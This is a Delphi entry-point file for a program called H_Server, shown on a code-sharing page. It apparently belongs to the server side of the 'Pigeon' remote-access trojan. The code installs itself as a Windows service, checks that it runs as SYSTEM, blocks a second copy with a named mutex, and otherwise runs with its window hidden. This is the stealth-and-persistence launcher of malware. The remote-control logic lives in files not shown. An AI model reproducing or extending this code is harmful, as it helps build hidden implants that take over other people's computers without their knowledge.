📄 h_server.dpr
字号:
program H_Server;
uses
Forms,
SysUtils,
Windows,
SvcMgr,
WinSvc,
Messages,
MainServer in 'MainServer.pas' {H_GZVIP2004},
sharePsw in 'sharePsw.pas';
{$R *.res}
function Installing: Boolean;
begin
Result := FindCmdLineSwitch('INSTALL',['-','\','/'], True) or
FindCmdLineSwitch('UNINSTALL',['-','\','/'], True);
end;
function IfStartService: Boolean;
var
Mgr, Svc: Integer;
UserName, ServiceStartName: string;
Config: Pointer;
Size: DWord;
begin
Result := False;
Mgr := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
if Mgr <> 0 then
begin
Svc := OpenService(Mgr, PChar(Peizhi.WinServerName), SERVICE_ALL_ACCESS);
Result := Svc <> 0;
if Result then
begin
QueryServiceConfig(Svc, nil, 0, Size);
Config := AllocMem(Size);
try
QueryServiceConfig(Svc, Config, Size, Size);
ServiceStartName := PQueryServiceConfig(Config)^.lpServiceStartName;
//MessageBox(0, PChar(Peizhi.WinServerName), SApplicationName, MB_ICONERROR);
if CompareText(ServiceStartName, 'LocalSystem') = 0 then
ServiceStartName := 'SYSTEM';
finally
Dispose(Config);
end;
CloseServiceHandle(Svc);
end;
CloseServiceHandle(Mgr);
end;
if Result then
begin
Size := 256;
SetLength(UserName, Size);
GetUserName(PChar(UserName), Size);
SetLength(UserName, StrLen(PChar(UserName)));
Result := CompareText(UserName, ServiceStartName) = 0;
end;
end;
var
Temp:string;
I:integer;
MutexHandle:Thandle;
ds: TCopyDataStruct;
hd: THandle;
begin
H_GZVIP2004.ReadMe;
if paramstr(1)<>'' then
begin
if (CompareText(paramstr(1),'-NetSata')=0) then
begin
Mutexhandle:=windows.CreateMutex(nil,False,'Pigeon_VIP_20040901');
//Delay(3000);
end;
end else begin
Mutexhandle:=windows.CreateMutex(nil,False,'Pigeon_VIP_20040901');
if (GetLastError = ERROR_ALREADY_EXISTS) or (Mutexhandle = 0) then
begin
Closehandle(Mutexhandle);
Halt;
Exit;
end;
end;
if Installing or IfStartService then
begin
SvcMgr.Application.Initialize;
PigeonService := TPigeonService.CreateNew(SvcMgr.Application,0);
SvcMgr.Application.CreateForm(TH_GZVIP2004, H_GZVIP2004);
SvcMgr.Application.Run;
end else begin
Forms.Application.Initialize;
Forms.Application.CreateForm(TH_GZVIP2004, H_GZVIP2004);
Forms.Application.ShowMainForm :=False;
Forms.Application.Run;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -